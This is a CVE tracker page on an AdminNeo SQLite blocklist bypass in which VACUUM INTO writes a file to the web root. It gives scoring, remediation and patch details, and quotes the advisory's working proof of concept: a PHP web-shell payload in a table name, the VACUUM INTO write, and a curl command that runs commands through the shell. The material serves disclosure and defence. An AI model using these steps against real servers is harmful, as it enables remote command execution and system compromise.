Skip to main content

AdminNeo CVE-2026-96630

HIGH
2026-10-30 https://github.com/adminneo-org/adminneo GHSA-q5mp-gfjf-cf2j
7.2
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to AdminNeo SQLite driver
  2. Delivery
    Create table with PHP payload name
  3. Exploit
    VACUUM INTO writes file to web root
  4. Execution
    Request planted .php shell
  5. Impact
    Execute OS commands as web user

Vulnerability Assessment

Exploitation Conditions

Requires an authenticated AdminNeo session using the SQLite driver with the ability to execute arbitrary SQL (the SQL command console), against AdminNeo versions before 5.5.1. The target SQLite build must support VACUUM INTO (SQLite 3.27.0+). Successful web-shell deployment additionally requires that the PHP/web-server process has write permission to a directory that is both web-served and configured to execute PHP, and that the attacker knows (or can reach) that path. Limiting factors: valid database credentials are mandatory (PR:H), the write target must be a writable+PHP-executing web directory (non-default/hardened deployments may block this), and upgrading to 5.5.1 is the vendor's fix.

Impact

This is a genuine high-priority issue for anyone exposing AdminNeo's SQLite driver, but it is not an unauthenticated internet-wide emergency. The CVSS 3.1 vector (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, base 7.2) and the root-cause commit agree on the mechanism: the SQLite query blocklist in sql.inc.php stopped only ATTACH, so VACUUM INTO (SQLite ≥ 3.27.0) could write the database file - including attacker-chosen bytes placed in a table name - to any path, yielding a PHP web shell and command execution (root in the reporter's PoC). PR:H/AC:L is consistent with the described trigger: a logged-in SQLite user runs two straightforward SQL statements, no race or timing condition. The vuln.today decision label is 'this_week' (not act_now/emergency), which fits the signal mix. No EPSS score is provided, so widespread-exploitation probability cannot be quantified from this data. The CVE is not in CISA KEV and there is no indication of active exploitation; exploitation status is therefore 'no public exploit identified' with the caveat that the advisory itself publishes complete, working reproduction steps (see exploit note). The practical risk is gated by the PR:H authentication requirement and by whether the PHP process can write to a web-served, PHP-executing directory - both real limiters that keep this below the tier of a remote pre-auth RCE despite the High C/I/A impacts.

Exploit ScenarioDerived

An attacker who already has valid credentials to AdminNeo's SQLite interface opens the SQL command console, creates a table whose name embeds PHP (e.g. CREATE TABLE "<?php system($_GET['c']); ?>" (i int);), then runs VACUUM INTO '/var/www/html/shell.php' to write the raw database bytes - including that PHP - into the web root. They then request the planted file (curl http://TARGET/shell.php?c=id) to run OS commands as the web server user. The GHSA advisory publishes these exact steps as a working proof of concept, though no packaged exploit tool is referenced.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 30, 2026

Authenticated users of AdminNeo's SQLite driver can escape the intended query blocklist and turn the SQL command console into an arbitrary file write, dropping a PHP web shell into a web-served directory and executing commands as the PHP process user. The flaw affects the Composer package adminneo-org/adminneo before version 5.5.1: the code only filters statements beginning with ATTACH, so a crafted VACUUM INTO statement (SQLite 3.27.0 or later) writes the whole database to any path with any extension, embedding a table name containing PHP code as raw bytes. Exploitation requires valid database credentials to reach the SQL console (CVSS PR:H), after which the only further conditions are a writable, PHP-executing web directory and a SQLite build that supports VACUUM INTO; no public exploit code was identified at time of analysis, and the issue is not in CISA KEV. The vendor addressed it in 5.5.1.

RemediationAI

Upgrade AdminNeo to version 5.5.1 or later; the Composer constraint is adminneo-org/adminneo >= 5.5.1, and the vendor patch is commit cf45efb3ac34e5e7b699cdc996f6eec2814ccda1, released as https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1, which extends the SQLite filter to reject VACUUM ... INTO in addition to ATTACH. Where upgrading cannot be done immediately, reduce exposure by not offering the SQLite driver or the SQL command console to untrusted or non-administrative users, since the blocklist in admin/sql.inc.php is the only control the affected versions place on file-writing SQL; the trade-off is loss of legitimate SQLite query capability for those accounts. Deployments that must keep the console can also constrain the blast radius by running PHP with open_basedir and disabled file-write permissions for the web root (side effect: legitimate imports, exports and file-based operations in AdminNeo will fail), and by configuring the web server to refuse PHP execution in any directory that the PHP process can write to (side effect: none for application code, but it breaks any intentional writable PHP endpoints). Valid database credentials are a prerequisite for the attack, so tightening who holds them limits reachability. Vendor and advisory details are at https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j.

Affected Packages

composer adminneo-org/adminneo fix: 5.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AdminNeo is a PHP-based database administration front end derived from Adminer, commonly deployed as a single-file web application; the affected Composer package is adminneo-org/adminneo. Its SQL execution path in admin/sql.inc.php performed a dialect-specific regex check intended to stop SQLite from creating arbitrary files: only a query whose first token was ATTACH was rejected, with everything else passed straight to the SQLite engine. That is a blocklist of one keyword rather than a capability restriction, so any other SQLite statement with file-writing side effects went through unchecked. VACUUM INTO, added in SQLite 3.27.0, serializes the entire database into a brand-new file at an attacker-chosen absolute path and with an attacker-chosen extension, which is functionally equivalent to ATTACH for file-write purposes. Because SQLite stores identifiers as raw bytes, a table named with a PHP opening tag and a system() call is persisted verbatim inside the resulting database file; when that file lands in a directory the web server serves and hands to the PHP interpreter, the embedded code executes. The upstream fix widens the pattern to match both ATTACH and VACUUM ... INTO (case-insensitive, dotall) and localizes the rejection message, which is a blacklist-strengthening patch rather than a redesign of the SQL console's privileges. The root-cause class here is inconsistent input filtering / blocklist bypass leading to arbitrary file write and ultimately remote code execution; no CWE identifier was supplied in the source data. The published CPE is pkg:composer/adminneo-org_adminneo.

Know when Sqlite gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.2 HIGH

Network-reachable web console, two trivial SQL statements (AC:L); requires authenticated SQL-execution privilege (PR:H); arbitrary file write to web root yields full RCE, so C/I/A:H, scope unchanged.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

Summary

Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: GHSA-q4f2-39gr-45jh

Root Cause

sql.inc.php, line 146:

php
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // blocked
}

Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

Steps To Reproduce

1. Login to SQLite

  1. Open AdminNeo and select driver: SQLite
  2. Login and create a new database (e.g., stage.db)

2. Inject PHP code and write the shell

Navigate to SQL command and execute:

sql
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.

3. Execute commands

shell
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Technical POC Analysis

Bug class: incomplete denylist (analyst classification: CWE-184 Incomplete List of Disallowed Inputs), chained into unrestricted write of an executable file (CWE-434).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

CVE-2026-96630 in AdminNeo's SQLite driver allows users with legitimate database credentials to escalate their access to arbitrary file write, enabling deployment of a PHP web shell and remote command execution. This poses a high risk of data breach and system compromise, particularly for organizations using AdminNeo in production environments with web-accessible writable directories.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

Prevalence
Low
niche Adminer fork (AdminNeo), limited enterprise deployment footprint
Threat Intel
1
1 source
Data Quality
3 sources
Confidence: Low
NVD CVE.org GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:composer/adminneo-org_adminneo

More in Sqlite

View all
CVE-2015-5895 CRITICAL POC
10.0 Sep 18

Multiple unspecified vulnerabilities in SQLite before 3.8.10.2, as used in Apple iOS before 9, have unknown impact and a

CVE-2019-8457 CRITICAL
9.8 May 30

SQLite3 from 3.6.0 to and including 3.27.2 is vulnerable to heap out-of-bound read in the rtreenode() function when hand

CVE-2022-35737 HIGH POC
7.5 Aug 03

SQLite 1.0.12 through 3.39.x before 3.39.2 sometimes allows an array-bounds overflow if billions of bytes are used in a

CVE-2017-10989 CRITICAL
9.8 Jul 07

The getNodeSize function in ext/rtree/rtree.c in SQLite through 3.19.3, as used in GDAL and other products, mishandles u

CVE-2025-6965 HIGH POC
7.2 Jul 15

Memory corruption in SQLite versions before 3.50.2 allows network-based attackers with low privileges to manipulate aggr

CVE-2019-5018 HIGH POC
8.1 May 10

An exploitable use after free vulnerability exists in the window function functionality of Sqlite3 3.26.0. Rated high se

CVE-2025-71316 CRITICAL POC
9.2 Jun 04

Arbitrary DLL loading in SQLite's sqldiff.exe utility on Windows allows attackers to achieve code execution by abusing t

CVE-2026-11822 MEDIUM POC
6.8 Jun 09

Memory corruption in SQLite versions before 3.53.2 enables attackers to crash processes, exhaust memory, or potentially

CVE-2020-13871 HIGH POC
7.5 Jun 06

SQLite 3.32.2 has a use-after-free in resetAccumulator in select.c because the parse tree rewrite for window functions i

CVE-2020-11655 HIGH POC
7.5 Apr 09

SQLite through 3.31.1 allows attackers to cause a denial of service (segmentation fault) via a malformed window-function

CVE-2021-36690 HIGH POC
7.5 Aug 24

A segmentation fault can occur in the sqlite3.exe command-line component of SQLite 3.36.0 via the idxGetTableInfo functi

CVE-2026-87016 HIGH POC
8.1 Sep 09

OAuth and SCIM identity confusion in Open WebUI 0.6.41-0.10.x (SQLite-backed deployments only) allows unauthenticated re

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy